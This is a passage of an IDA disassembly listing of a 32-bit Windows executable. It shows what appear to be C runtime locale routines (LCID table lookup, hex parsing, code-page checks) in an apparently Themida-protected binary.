		jnz	short loc_42C2BD
		mov	eax, dword_4DB420
		or	al, 2
		mov	dword_4DB420, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4DB424, ecx
		mov	edx, dword_4DB418
		push	edx
		call	sub_414BE0
		add	esp, 4
		cmp	eax, dword_4DB410
		jnz	short loc_42C2BB
		mov	eax, [ebp+var_7C]
		mov	dword_4DB408, eax


loc_42C2BB:				; CODE XREF: sub_42C160+151j
		jmp	short loc_42C2EF
; ---------------------------------------------------------------------------


loc_42C2BD:				; CODE XREF: sub_42C160+108j
					; sub_42C160+125j
		mov	ecx, dword_4DB420
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42C2EF
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_42C800
		add	esp, 4
		test	eax, eax
		jz	short loc_42C2EF
		mov	eax, dword_4DB420
		or	al, 1
		mov	dword_4DB420, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4DB424, ecx


loc_42C2EF:				; CODE XREF: sub_42C160+69j
					; sub_42C160+EBj ...
		mov	edx, dword_4DB420
		and	edx, 300h
		cmp	edx, 300h
		jz	loc_42C471
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DB414
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C346
		mov	dword_4DB420, 0
		mov	eax, 1
		jmp	loc_42C47E
; ---------------------------------------------------------------------------


loc_42C346:				; CODE XREF: sub_42C160+1D0j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DB418
		push	ecx
		call	sub_42FE70
		add	esp, 8
		test	eax, eax
		jnz	loc_42C410
		mov	edx, dword_4DB420
		or	dh, 2
		mov	dword_4DB420, edx
		cmp	dword_4DB414, 0
		jz	short loc_42C39A
		mov	eax, dword_4DB420
		or	ah, 1
		mov	dword_4DB420, eax
		cmp	dword_4DB408, 0
		jnz	short loc_42C398
		mov	ecx, [ebp+var_7C]
		mov	dword_4DB408, ecx


loc_42C398:				; CODE XREF: sub_42C160+22Dj
		jmp	short loc_42C40E
; ---------------------------------------------------------------------------


loc_42C39A:				; CODE XREF: sub_42C160+217j
		cmp	dword_4DB410, 0
		jz	short loc_42C3EF
		mov	edx, dword_4DB418
		push	edx
		call	sub_414BE0
		add	esp, 4
		cmp	eax, dword_4DB410
		jnz	short loc_42C3EF
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_42C850
		add	esp, 8
		test	eax, eax
		jz	short loc_42C3ED
		mov	ecx, dword_4DB420
		or	ch, 1
		mov	dword_4DB420, ecx
		cmp	dword_4DB408, 0
		jnz	short loc_42C3ED
		mov	edx, [ebp+var_7C]
		mov	dword_4DB408, edx


loc_42C3ED:				; CODE XREF: sub_42C160+26Aj
					; sub_42C160+282j
		jmp	short loc_42C40E
; ---------------------------------------------------------------------------


loc_42C3EF:				; CODE XREF: sub_42C160+241j
					; sub_42C160+258j
		mov	eax, dword_4DB420
		or	ah, 1
		mov	dword_4DB420, eax
		cmp	dword_4DB408, 0
		jnz	short loc_42C40E
		mov	ecx, [ebp+var_7C]
		mov	dword_4DB408, ecx


loc_42C40E:				; CODE XREF: sub_42C160:loc_42C398j
					; sub_42C160:loc_42C3EDj ...
		jmp	short loc_42C471
; ---------------------------------------------------------------------------


loc_42C410:				; CODE XREF: sub_42C160+1FBj
		cmp	dword_4DB414, 0
		jnz	short loc_42C471
		cmp	dword_4DB410, 0
		jz	short loc_42C471
		mov	edx, dword_4DB410
		push	edx
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DB418
		push	ecx
		call	sub_42FF40
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42C471
		push	0
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_42C850
		add	esp, 8
		test	eax, eax
		jz	short loc_42C471
		mov	eax, dword_4DB420
		or	ah, 1
		mov	dword_4DB420, eax
		cmp	dword_4DB408, 0
		jnz	short loc_42C471
		mov	ecx, [ebp+var_7C]
		mov	dword_4DB408, ecx


loc_42C471:				; CODE XREF: sub_42C160+1A1j
					; sub_42C160:loc_42C40Ej ...
		mov	eax, dword_4DB420
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_42C47E:				; CODE XREF: sub_42C160+4Fj
					; sub_42C160+A9j ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42C160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C490	proc near		; CODE XREF: sub_42BE10:loc_42BEF6p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB418
		push	eax
		call	sub_414BE0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DB414, ecx
		cmp	dword_4DB414, 0
		jz	short loc_42C4C2
		mov	[ebp+var_4], 2
		jmp	short loc_42C4D4
; ---------------------------------------------------------------------------


loc_42C4C2:				; CODE XREF: sub_42C490+27j
		mov	edx, dword_4DB418
		push	edx
		call	sub_42CB40
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42C4D4:				; CODE XREF: sub_42C490+30j
		mov	eax, [ebp+var_4]
		mov	dword_4DB410, eax
		push	1
		push	offset sub_42C510
		nop
		call	near ptr 2630000h
		mov	ecx, dword_4DB420
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_42C500
		mov	dword_4DB420, 0


loc_42C500:				; CODE XREF: sub_42C490+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C510	proc near		; DATA XREF: sub_42C490+4Eo

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CAC0
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DB414
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF002h
		add	edx, 1001h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C564
		mov	dword_4DB420, 0
		mov	eax, 1
		jmp	loc_42C629
; ---------------------------------------------------------------------------


loc_42C564:				; CODE XREF: sub_42C510+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx


loc_42C568:				; DATA XREF: Themida_:0056F96Do
		mov	edx, dword_4DB418
		push	edx
		call	sub_42FE70
		add	esp, 8
		test	eax, eax
		jnz	short loc_42C5B9
		cmp	dword_4DB414, 0
		jnz	short loc_42C596
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_42C850
		add	esp, 8
		test	eax, eax
		jz	short loc_42C5B7


loc_42C596:				; CODE XREF: sub_42C510+72j
		mov	ecx, [ebp+var_7C]
		mov	dword_4DB424, ecx
		mov	edx, dword_4DB424
		mov	dword_4DB408, edx
		mov	eax, dword_4DB420
		or	al, 4
		mov	dword_4DB420, eax


loc_42C5B7:				; CODE XREF: sub_42C510+84j
		jmp	short loc_42C61C
; ---------------------------------------------------------------------------


loc_42C5B9:				; CODE XREF: sub_42C510+69j
		cmp	dword_4DB414, 0
		jnz	short loc_42C61C
		cmp	dword_4DB410, 0
		jz	short loc_42C61C
		mov	ecx, dword_4DB410
		push	ecx
		lea	edx, [ebp+var_78]
		push	edx
		mov	eax, dword_4DB418
		push	eax
		call	sub_42FF40
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42C61C
		push	0
		mov	ecx, [ebp+var_7C]
		push	ecx
		call	sub_42C850
		add	esp, 8
		test	eax, eax
		jz	short loc_42C61C
		mov	edx, [ebp+var_7C]
		mov	dword_4DB424, edx
		mov	eax, dword_4DB424
		mov	dword_4DB408, eax
		mov	ecx, dword_4DB420
		or	ecx, 4
		mov	dword_4DB420, ecx


loc_42C61C:				; CODE XREF: sub_42C510:loc_42C5B7j
					; sub_42C510+B0j ...
		mov	eax, dword_4DB420
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_42C629:				; CODE XREF: sub_42C510+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42C510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C630	proc near		; CODE XREF: sub_42BE10+102p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DB41C
		push	eax
		call	sub_414BE0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DB40C, ecx
		push	1
		push	offset sub_42C680
		nop
		call	near ptr 2630000h
		mov	edx, dword_4DB420
		and	edx, 4
		test	edx, edx
		jnz	short loc_42C673
		mov	dword_4DB420, 0


loc_42C673:				; CODE XREF: sub_42C630+37j
		pop	ebp
		retn
sub_42C630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C680	proc near		; DATA XREF: sub_42C630+21o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CAC0
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DB40C
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C6D1
		mov	dword_4DB420, 0
		mov	eax, 1
		jmp	short loc_42C726
; ---------------------------------------------------------------------------


loc_42C6D1:				; CODE XREF: sub_42C680+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DB41C
		push	edx
		call	sub_42FE70
		add	esp, 8
		test	eax, eax
		jnz	short loc_42C719
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_42C800
		add	esp, 4
		test	eax, eax
		jz	short loc_42C719
		mov	ecx, [ebp+var_7C]
		mov	dword_4DB424, ecx
		mov	edx, dword_4DB424
		mov	dword_4DB408, edx
		mov	eax, dword_4DB420
		or	al, 4
		mov	dword_4DB420, eax


loc_42C719:				; CODE XREF: sub_42C680+66j
					; sub_42C680+76j
		mov	eax, dword_4DB420
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_42C726:				; CODE XREF: sub_42C680+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42C680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C730	proc near		; CODE XREF: sub_42BE10+38p
					; sub_42BE10:loc_42BF19p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DB420
		or	eax, 104h
		mov	dword_4DB420, eax
		nop
		call	near ptr 2620C10h
		mov	dword_4DB424, eax
		mov	ecx, dword_4DB424
		mov	dword_4DB408, ecx
		pop	ebp
		retn
sub_42C730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C760	proc near		; CODE XREF: sub_42BE10+128p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jz	short loc_42C78B
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42C78B
		push	offset off_434D0C
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jnz	short loc_42C7B3


loc_42C78B:				; CODE XREF: sub_42C760+Aj
					; sub_42C760+14j
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	1004h
		mov	ecx, dword_4DB424
		push	ecx
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C7AB
		xor	eax, eax
		jmp	short loc_42C7F7
; ---------------------------------------------------------------------------


loc_42C7AB:				; CODE XREF: sub_42C760+45j
		lea	edx, [ebp+var_8]
		mov	[ebp+arg_0], edx
		jmp	short loc_42C7EB
; ---------------------------------------------------------------------------


loc_42C7B3:				; CODE XREF: sub_42C760+29j
		push	offset off_434D08
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417870
		add	esp, 8
		test	eax, eax
		jnz	short loc_42C7EB
		push	8
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0Bh
		mov	edx, dword_4DB424
		push	edx
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C7E5
		xor	eax, eax
		jmp	short loc_42C7F7
; ---------------------------------------------------------------------------


loc_42C7E5:				; CODE XREF: sub_42C760+7Fj
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_0], eax


loc_42C7EB:				; CODE XREF: sub_42C760+51j
					; sub_42C760+66j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4173D0
		add	esp, 4


loc_42C7F7:				; CODE XREF: sub_42C760+49j
					; sub_42C760+83j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C800	proc near		; CODE XREF: sub_42C160+16Ep
					; sub_42C680+6Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	ax, [ebp+arg_0]
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_8], 0
		jmp	short loc_42C820
; ---------------------------------------------------------------------------


loc_42C817:				; CODE XREF: sub_42C800:loc_42C844j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_42C820:				; CODE XREF: sub_42C800+15j
		cmp	[ebp+var_8], 0Ah
		jnb	short loc_42C846
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, word_444AD4[eax*2]
		cmp	edx, ecx
		jnz	short loc_42C844
		xor	eax, eax
		jmp	short loc_42C84B
; ---------------------------------------------------------------------------


loc_42C844:				; CODE XREF: sub_42C800+3Ej
		jmp	short loc_42C817
; ---------------------------------------------------------------------------


loc_42C846:				; CODE XREF: sub_42C800+24j
		mov	eax, 1


loc_42C84B:				; CODE XREF: sub_42C800+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C850	proc near		; CODE XREF: sub_42C160+260p
					; sub_42C160+2E6p ...

var_7C		= byte ptr -7Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	esi
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 3FFh
		and	eax, 0FFFFh
		or	ah, 4
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		push	78h
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C88E
		xor	eax, eax
		jmp	short loc_42C8D2
; ---------------------------------------------------------------------------


loc_42C88E:				; CODE XREF: sub_42C850+38j
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_42CAC0
		add	esp, 4
		cmp	[ebp+arg_0], eax
		jz	short loc_42C8CD
		cmp	[ebp+arg_4], 0
		jz	short loc_42C8CD
		mov	ecx, dword_4DB418
		push	ecx
		call	sub_42CB40
		add	esp, 4
		mov	esi, eax
		mov	edx, dword_4DB418
		push	edx
		call	sub_414BE0
		add	esp, 4
		cmp	esi, eax
		jnz	short loc_42C8CD
		xor	eax, eax
		jmp	short loc_42C8D2
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C850+4Dj
					; sub_42C850+53j ...
		mov	eax, 1


loc_42C8D2:				; CODE XREF: sub_42C850+3Cj
					; sub_42C850+7Bj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C8E0	proc near		; CODE XREF: sub_42BE10+Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		nop
		call	near ptr 26F053Fh
		test	eax, eax
		jz	short loc_42C919
		cmp	[ebp+var_84], 2
		jnz	short loc_42C919
		mov	[ebp+var_98], 1
		jmp	short loc_42C923
; ---------------------------------------------------------------------------


loc_42C919:				; CODE XREF: sub_42C8E0+22j
					; sub_42C8E0+2Bj
		mov	[ebp+var_98], 0


loc_42C923:				; CODE XREF: sub_42C8E0+37j
		mov	eax, [ebp+var_98]
		mov	esp, ebp
		pop	ebp
		retn
sub_42C8E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C930	proc near		; DATA XREF: sub_42BE10:loc_42BE32o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 1Ah
		mov	[ebp+var_8], 0


loc_42C94B:				; CODE XREF: sub_42C930:loc_42CA93j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_4]
		jg	loc_42CA98
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_444630[ecx]
		jnz	loc_42CA6E
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0Bh
		ja	short loc_42C9A7
		cmp	[ebp+var_14], 0Bh
		jz	loc_42CA19
		cmp	[ebp+var_14], 1
		jz	short loc_42C9C4
		cmp	[ebp+var_14], 3
		jz	short loc_42C9E6
		cmp	[ebp+var_14], 7
		jz	short loc_42CA08
		jmp	loc_42CA38
; ---------------------------------------------------------------------------


loc_42C9A7:				; CODE XREF: sub_42C930+54j
		cmp	[ebp+var_14], 1001h
		jz	short loc_42C9D5
		cmp	[ebp+var_14], 1002h
		jz	short loc_42C9F7
		cmp	[ebp+var_14], 1004h
		jz	short loc_42CA2A
		jmp	short loc_42CA38
; ---------------------------------------------------------------------------


loc_42C9C4:				; CODE XREF: sub_42C930+64j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset a040a ; "040a"
		mov	[ebp+var_8], ecx
		jmp	short loc_42CA38
; ---------------------------------------------------------------------------


loc_42C9D5:				; CODE XREF: sub_42C930+7Ej
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_44463C[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_42CA38
; ---------------------------------------------------------------------------


loc_42C9E6:				; CODE XREF: sub_42C930+6Aj
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_444640
		mov	[ebp+var_8], ecx
		jmp	short loc_42CA38
; ---------------------------------------------------------------------------


loc_42C9F7:				; CODE XREF: sub_42C930+87j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_444644[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_42CA38
; ---------------------------------------------------------------------------


loc_42CA08:				; CODE XREF: sub_42C930+70j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_444648
		mov	[ebp+var_8], ecx
		jmp	short loc_42CA38
; ---------------------------------------------------------------------------


loc_42CA19:				; CODE XREF: sub_42C930+5Aj
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		add	edx, offset dword_44464C
		mov	[ebp+var_8], edx
		jmp	short loc_42CA38
; ---------------------------------------------------------------------------


loc_42CA2A:				; CODE XREF: sub_42C930+90j
		mov	eax, [ebp+var_C]
		imul	eax, 2Ch
		add	eax, offset a1252 ; "1252"
		mov	[ebp+var_8], eax


loc_42CA38:				; CODE XREF: sub_42C930+72j
					; sub_42C930+92j ...
		cmp	[ebp+var_8], 0
		jz	short loc_42CA44
		cmp	[ebp+arg_C], 1
		jge	short loc_42CA46


loc_42CA44:				; CODE XREF: sub_42C930+10Cj
		jmp	short loc_42CA98
; ---------------------------------------------------------------------------


loc_42CA46:				; CODE XREF: sub_42C930+112j
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_417770
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	byte ptr [ecx-1], 0
		mov	eax, 1
		jmp	short loc_42CAAE
; ---------------------------------------------------------------------------


loc_42CA6E:				; CODE XREF: sub_42C930+44j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_444630[edx]
		jnb	short loc_42CA8A
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42CA93
; ---------------------------------------------------------------------------


loc_42CA8A:				; CODE XREF: sub_42C930+14Dj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_42CA93:				; CODE XREF: sub_42C930+158j
		jmp	loc_42C94B
; ---------------------------------------------------------------------------


loc_42CA98:				; CODE XREF: sub_42C930+21j
					; sub_42C930:loc_42CA44j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 26F0000h
		nop


loc_42CAAE:				; CODE XREF: sub_42C930+13Cj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_42C930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CAC0	proc near		; CODE XREF: sub_42C160+Ap
					; sub_42C510+Ap ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0


loc_42CACD:				; CODE XREF: sub_42CAC0+6Dj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		movsx	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jz	short loc_42CB2F
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 61h
		jl	short loc_42CB02
		movsx	edx, [ebp+var_8]
		cmp	edx, 66h
		jg	short loc_42CB02
		mov	al, [ebp+var_8]
		add	al, 0D9h
		mov	[ebp+var_8], al
		jmp	short loc_42CB1C
; ---------------------------------------------------------------------------


loc_42CB02:				; CODE XREF: sub_42CAC0+2Dj
					; sub_42CAC0+36j
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 41h
		jl	short loc_42CB1C
		movsx	edx, [ebp+var_8]
		cmp	edx, 46h
		jg	short loc_42CB1C
		mov	al, [ebp+var_8]
		add	al, 0F9h
		mov	[ebp+var_8], al


loc_42CB1C:				; CODE XREF: sub_42CAC0+40j
					; sub_42CAC0+49j ...
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		movsx	edx, [ebp+var_8]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_4], eax
		jmp	short loc_42CACD
; ---------------------------------------------------------------------------


loc_42CB2F:				; CODE XREF: sub_42CAC0+24j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42CAC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CB40	proc near		; CODE XREF: sub_42C0A0+60p
					; sub_42C490+39p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_42CB5E:				; CODE XREF: sub_42CB40+5Cj
		movsx	eax, [ebp+var_4]
		cmp	eax, 41h
		jl	short loc_42CB70
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 5Ah
		jle	short loc_42CB82


loc_42CB70:				; CODE XREF: sub_42CB40+25j
		movsx	edx, [ebp+var_4]
		cmp	edx, 61h
		jl	short loc_42CB9E
		movsx	eax, [ebp+var_4]
		cmp	eax, 7Ah
		jg	short loc_42CB9E


loc_42CB82:				; CODE XREF: sub_42CB40+2Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		jmp	short loc_42CB5E
; ---------------------------------------------------------------------------


loc_42CB9E:				; CODE XREF: sub_42CB40+37j
					; sub_42CB40+40j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42CB40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CCB0	proc near		; CODE XREF: ___:0042615Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
sub_42CCB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	8
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB564, 3A4h
		jnz	short loc_42CD1D
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD30
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CD1D
		mov	dword ptr [ebp-4], 1
		jmp	short loc_42CD24
; ---------------------------------------------------------------------------


loc_42CD1D:				; CODE XREF: ___:0042CCFEj
					; ___:0042CD12j
		mov	dword ptr [ebp-4], 0


loc_42CD24:				; CODE XREF: ___:0042CD1Bj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CD30	proc near		; CODE XREF: ___:0042CBBBp
					; ___:0042CBDBp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
